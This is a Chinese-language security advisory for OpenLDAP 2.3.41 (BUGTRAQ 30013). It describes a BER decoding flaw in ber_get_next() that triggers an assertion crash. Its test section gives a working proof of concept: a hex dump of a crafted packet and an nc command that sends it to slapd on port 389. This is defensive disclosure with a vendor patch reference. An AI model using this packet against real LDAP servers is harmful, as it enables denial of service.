受影响系统:
OpenLDAP OpenLDAP 2.3.41
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 30013
OpenLDAP是一款开放源代码的轻量级目录访问协议(LDAP)实现。
OpenLDAP的libraries/liblber/io.c文件中的ber_get_next()函数没有正确地解码ASN.1 BER
网络数据报,如果数据报的单元(标签 + 长度 + 内容)包含有
* 4字节长的多字节标签
* 4字节长的多字节大小
则解码后的整个大小为BerElement结构缓冲区加1个字节,这导致函数返回说明仍需更多数据,但读指针仍指向缓冲区末尾,这是不允许的。之后的函数调用会出现失败:
assert( 0 ); /* ber structure is messed up ?*/
<*来源:Cameron Hotchkies
链接:
http://www.openldap.org/its/index.cgi/Software%20Bugs?id=5580
http://secunia.com/advisories/30853/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
> slapd -h ldap:// -d511 &
...
> xxd packet
0000000: ffff ff00 8441 4243 44 .....ABCD
> nc localhost 389 < packet
建议:
--------------------------------------------------------------------------------
厂商补丁:
OpenLDAP
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.openldap.org/devel/cv ... =1&sortbydate=0